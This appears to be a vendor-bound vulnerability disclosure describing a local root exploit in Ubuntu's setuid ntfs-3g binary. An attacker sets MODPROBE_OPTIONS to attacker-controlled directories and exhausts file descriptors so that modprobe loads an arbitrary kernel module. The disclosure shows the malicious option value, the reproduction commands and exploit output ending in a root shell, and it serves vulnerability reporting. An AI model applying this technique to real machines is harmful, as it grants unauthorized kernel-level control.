|
- ntfs-3g is installed by default e.g. on Ubuntu and comes with a
- setuid root program /bin/ntfs-3g. When this program is invoked on a
- system whose kernel does not support FUSE filesystems (detected by
- get_fuse_fstype()), ntfs-3g attempts to load the "fuse" module using
- /sbin/modprobe via load_fuse_module().
- The issue is that /sbin/modprobe is not designed to run in a setuid
- context. As the manpage of modprobe explicitly points out:
- The MODPROBE_OPTIONS environment variable can also be used
- to pass arguments to modprobe.
- Therefore, on a system that does not seem to support FUSE filesystems,
- an attacker can set the environment variable MODPROBE_OPTIONS to
- something like "-C /tmp/evil_config -d /tmp/evil_root" to force
- modprobe to load its configuration and the module from
- attacker-controlled directories. This allows a local attacker to load
- arbitrary code into the kernel.
- In practice, the FUSE module is usually already loaded. However, the
- issue can still be attacked because a failure to open
- /proc/filesystems (meaning that get_fuse_fstype() returns
- FSTYPE_UNKNOWN) always causes modprobe to be executed, even if the
- FUSE module is already loaded. An attacker can cause an attempt to
- open /proc/filesystems to fail by exhausting the global limit on the
- number of open file descriptions (/proc/sys/fs/file-max).
- I have attached an exploit for the issue. I have tested it in a VM
- with Ubuntu Server 16.10. To reproduce, unpack the attached file,
- compile the exploit and run it:
- user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar
- user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/
- user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./compile.sh
- make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'
- CC [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.o
- Building modules, stage 2.
- MODPOST 1 modules
- CC /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o
- LD [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko
- make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'
- depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory
- depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory
- user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
- looks like we won the race
- got ENFILE at 198088 total
- Failed to open /proc/filesystems: Too many open files in system
- yay, modprobe ran!
- modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin'
- modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links
- Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
- Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
- we have root privs now...
- root@ubuntu:~/ntfs-3g-modprobe-unsafe# id
- uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user)
- Note: The exploit seems to work relatively reliably in VMs with
- multiple CPU cores, but not in VMs with a single CPU core. If you
- test this exploit in a VM, please ensure that the VM has at least two
- CPU cores.
- This bug is subject to a 90 day disclosure deadline. If 90 days elapse
- without a broadly available patch, then the bug report will automatically
- become visible to the public.
复制代码
|
|